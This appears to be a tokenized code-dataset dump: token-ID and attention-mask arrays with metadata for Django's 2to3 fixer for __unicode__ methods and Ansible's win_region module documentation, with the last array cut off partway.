267, 340, 822, 8, 589, 9, 1137, 413, 26, 288, 746, 14393, 480, 8254, 5647, 282, 8541, 2870, 531, 398, 8541, 275, 664, 63, 1927, 480, 6081, 401, 1249, 59, 16, 467, 367, 63, 873, 29, 549, 9, 398, 5463, 275, 1511, 459, 6062, 418, 398, 340, 5463, 26, 288, 5463, 275, 2198, 63, 2245, 8, 6062, 9, 288, 943, 14, 815, 480, 6470, 316, 8541, 450, 83, 465, 5463, 2458, 83, 401, 8541, 12, 5463, 9, 288, 8541, 14, 6062, 275, 5463, 288, 8541, 14, 2117, 342, 398, 2040, 63, 981, 275, 1511, 459, 3306, 63, 981, 418, 267, 340, 2040, 63, 981, 26, 288, 2040, 63, 981, 275, 2198, 63, 2245, 8, 3306, 63, 981, 9, 288, 943, 14, 815, 480, 6470, 316, 8541, 450, 83, 465, 2040, 63, 981, 2458, 83, 401, 8541, 12, 2151, 2040, 63, 981, 9, 288, 8541, 14, 3306, 63, 981, 275, 2040, 63, 981, 288, 8541, 14, 2117, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
aleksandra-tarkowska/django
django/utils/2to3_fixes/fix_unicode.py
349
1181
"""Fixer for __unicode__ methods. Uses the django.utils.encoding.python_2_unicode_compatible decorator. """ from __future__ import unicode_literals from lib2to3 import fixer_base from lib2to3.fixer_util import find_indentation, Name, syms, touch_import from lib2to3.pgen2 import token from lib2to3.pytree import Leaf, Node class FixUnicode(fixer_base.BaseFix): BM_compatible = True PATTERN = """ classdef< 'class' any+ ':' suite< any* funcdef< 'def' unifunc='__unicode__' parameters< '(' NAME ')' > any+ > any* > > """ def transform(self, node, results): unifunc = results["unifunc"] strfunc = Name("__str__", prefix=unifunc.prefix) unifunc.replace(strfunc) klass = node.clone() klass.prefix = '\n' + find_indentation(node) decorator = Node(syms.decorator, [Leaf(token.AT, "@"), Name('python_2_unicode_compatible')]) decorated = Node(syms.decorated, [decorator, klass], prefix=node.prefix) node.replace(decorated) touch_import('django.utils.encoding', 'python_2_unicode_compatible', decorated)
bsd-3-clause
[ 624, 11985, 281, 367, 636, 2975, 363, 3102, 14, 199, 199, 21896, 314, 1639, 14, 1208, 14, 2991, 14, 1548, 63, 18, 63, 2975, 63, 6490, 7531, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1973, 18, 475, 19, 492, 24739, 63, 1095, 199, 504, 1973, 18, 475, 19, 14, 25973, 63, 1974, 492, 2342, 63, 25152, 12, 2812, 12, 25308, 12, 12943, 63, 646, 199, 504, 1973, 18, 475, 19, 14, 80, 2268, 18, 492, 1526, 199, 504, 1973, 18, 475, 19, 14, 647, 2350, 492, 27836, 12, 5013, 421, 199, 533, 14811, 7087, 8, 25973, 63, 1095, 14, 1563, 11985, 304, 339, 699, 45, 63, 6490, 275, 715, 272, 31467, 7689, 275, 408, 272, 1021, 318, 28, 283, 533, 7, 1263, 11, 10871, 1598, 5241, 28, 1263, 10, 2151, 2562, 318, 28, 283, 318, 7, 625, 692, 1097, 534, 363, 2975, 12217, 2892, 2633, 28, 16746, 13637, 16107, 690, 1263, 11, 690, 2151, 1263, 10, 690, 690, 272, 408, 339, 347, 5793, 8, 277, 12, 1031, 12, 2058, 304, 267, 625, 692, 1097, 275, 2058, 905, 324, 692, 1097, 937, 267, 620, 1532, 275, 2812, 16232, 495, 13915, 2403, 29, 324, 692, 1097, 14, 1861, 9, 267, 625, 692, 1097, 14, 1814, 8, 495, 1532, 9, 398, 8531, 275, 1031, 14, 6311, 342, 267, 8531, 14, 1861, 275, 1557, 78, 7, 435, 2342, 63, 25152, 8, 932, 9, 267, 7531, 275, 5013, 8, 13807, 14, 11547, 12, 359, 20475, 8, 1418, 14, 619, 12, 9244, 1288, 2812, 360, 1548, 63, 18, 63, 2975, 63, 6490, 2023, 267, 16225, 275, 5013, 8, 13807, 14, 29299, 12, 359, 11547, 12, 8531, 467, 2403, 29, 932, 14, 1861, 9, 267, 1031, 14, 1814, 8, 29299, 9, 398, 12943, 63, 646, 360, 1176, 14, 1208, 14, 2991, 297, 283, 1548, 63, 18, 63, 2975, 63, 6490, 297, 16225, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 11985, 281, 367, 636, 2975, 363, 3102, 14, 199, 199, 21896, 314, 1639, 14, 1208, 14, 2991, 14, 1548, 63, 18, 63, 2975, 63, 6490, 7531, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1973, 18, 475, 19, 492, 24739, 63, 1095, 199, 504, 1973, 18, 475, 19, 14, 25973, 63, 1974, 492, 2342, 63, 25152, 12, 2812, 12, 25308, 12, 12943, 63, 646, 199, 504, 1973, 18, 475, 19, 14, 80, 2268, 18, 492, 1526, 199, 504, 1973, 18, 475, 19, 14, 647, 2350, 492, 27836, 12, 5013, 421, 199, 533, 14811, 7087, 8, 25973, 63, 1095, 14, 1563, 11985, 304, 339, 699, 45, 63, 6490, 275, 715, 272, 31467, 7689, 275, 408, 272, 1021, 318, 28, 283, 533, 7, 1263, 11, 10871, 1598, 5241, 28, 1263, 10, 2151, 2562, 318, 28, 283, 318, 7, 625, 692, 1097, 534, 363, 2975, 12217, 2892, 2633, 28, 16746, 13637, 16107, 690, 1263, 11, 690, 2151, 1263, 10, 690, 690, 272, 408, 339, 347, 5793, 8, 277, 12, 1031, 12, 2058, 304, 267, 625, 692, 1097, 275, 2058, 905, 324, 692, 1097, 937, 267, 620, 1532, 275, 2812, 16232, 495, 13915, 2403, 29, 324, 692, 1097, 14, 1861, 9, 267, 625, 692, 1097, 14, 1814, 8, 495, 1532, 9, 398, 8531, 275, 1031, 14, 6311, 342, 267, 8531, 14, 1861, 275, 1557, 78, 7, 435, 2342, 63, 25152, 8, 932, 9, 267, 7531, 275, 5013, 8, 13807, 14, 11547, 12, 359, 20475, 8, 1418, 14, 619, 12, 9244, 1288, 2812, 360, 1548, 63, 18, 63, 2975, 63, 6490, 2023, 267, 16225, 275, 5013, 8, 13807, 14, 29299, 12, 359, 11547, 12, 8531, 467, 2403, 29, 932, 14, 1861, 9, 267, 1031, 14, 1814, 8, 29299, 9, 398, 12943, 63, 646, 360, 1176, 14, 1208, 14, 2991, 297, 283, 1548, 63, 18, 63, 2975, 63, 6490, 297, 16225, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
xen0l/ansible
lib/ansible/modules/windows/win_region.py
52
3103
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2016, Ansible, inc # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = r''' module: win_region version_added: "2.3" short_description: Set the region and format settings description: - Set the location settings of a Windows Server. - Set the format settings of a Windows Server. - Set the unicode language settings of a Windows Server. - Copy across these settings to the default profile. options: location: description: - The location to set for the current user, see U(https://msdn.microsoft.com/en-us/library/dd374073.aspx) for a list of GeoIDs you can use and what location it relates to. This needs to be set if C(format) or C(unicode_language) is not set. format: description: - The language format to set for the current user, see U(https://msdn.microsoft.com/en-us/library/system.globalization.cultureinfo.aspx) for a list of culture names to use. This needs to be set if C(location) or C(unicode_language) is not set. unicode_language: description: - The unicode language format to set for all users, see U(https://msdn.microsoft.com/en-us/library/system.globalization.cultureinfo.aspx) for a list of culture names to use. This needs to be set if C(location) or C(format) is not set. After setting this value a reboot is required for it to take effect. copy_settings: description: - This will copy the current format and location values to new user profiles and the welcome screen. This will only run if C(location), C(format) or C(unicode_language) has resulted in a change. If this process runs then it will always result in a change. type: bool default: 'no' author: - Jordan Borean (@jborean93) ''' EXAMPLES = r''' # Set the region format to English United States - win_region: format: en-US # Set the region format to English Australia and copy settings to new profiles - win_region: format: en-AU copy_settings: yes # Set the unicode language to English Great Britain, reboot if required - win_region: unicode_language: en-GB register: result - win_reboot: when: result.restart_required # Set the location to United States - win_region: location: 244 # Set format, location and unicode to English Australia and copy settings, reboot if required - win_region: location: 12 format: en-AU unicode_language: en-AU register: result - win_reboot: when: result.restart_required ''' RETURN = r''' restart_required: description: Whether a reboot is required for the change to take effect returned: success type: boolean sample: True '''
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1898, 26, 334, 67, 9, 7800, 12, 2622, 12, 12864, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 519, 2344, 199, 578, 26, 4747, 63, 4551, 199, 1023, 63, 3270, 26, 298, 18, 14, 19, 2, 199, 3612, 63, 1802, 26, 2494, 314, 4897, 436, 1475, 2202, 199, 1802, 26, 272, 446, 2494, 314, 2909, 2202, 402, 282, 5417, 7146, 14, 272, 446, 2494, 314, 1475, 2202, 402, 282, 5417, 7146, 14, 272, 446, 2494, 314, 2649, 2637, 2202, 402, 282, 5417, 7146, 14, 272, 446, 11247, 9371, 3520, 2202, 370, 314, 849, 4690, 14, 199, 1419, 26, 272, 2909, 26, 267, 1369, 26, 288, 446, 710, 2909, 370, 663, 367, 314, 1453, 922, 12, 1937, 1598, 738, 8, 2859, 921, 706, 4272, 14, 17040, 14, 957, 15, 287, 13, 527, 15, 4342, 15, 617, 9880, 26010, 14, 26146, 9, 1598, 367, 282, 769, 402, 8875, 12818, 1265, 883, 675, 436, 4052, 2909, 652, 295, 750, 83, 370, 14, 1598, 961, 4839, 370, 506, 663, 340, 445, 8, 908, 9, 503, 445, 8, 2975, 63, 3671, 9, 365, 440, 1598, 663, 14, 272, 1475, 26, 267, 1369, 26, 288, 446, 710, 2637, 1475, 370, 663, 367, 314, 1453, 922, 12, 1937, 1598, 738, 8, 2859, 921, 706, 4272, 14, 17040, 14, 957, 15, 287, 13, 527, 15, 4342, 15, 2253, 14, 2966, 2072, 14, 67, 427, 608, 815, 14, 26146, 9, 1598, 367, 282, 769, 402, 286, 427, 608, 1561, 370, 675, 14, 961, 4839, 370, 506, 663, 340, 1598, 445, 8, 1985, 9, 503, 445, 8, 2975, 63, 3671, 9, 365, 440, 663, 14, 272, 2649, 63, 3671, 26, 267, 1369, 26, 288, 446, 710, 2649, 2637, 1475, 370, 663, 367, 1006, 4390, 12, 1937, 1598, 738, 8, 2859, 921, 706, 4272, 14, 17040, 14, 957, 15, 287, 13, 527, 15, 4342, 15, 2253, 14, 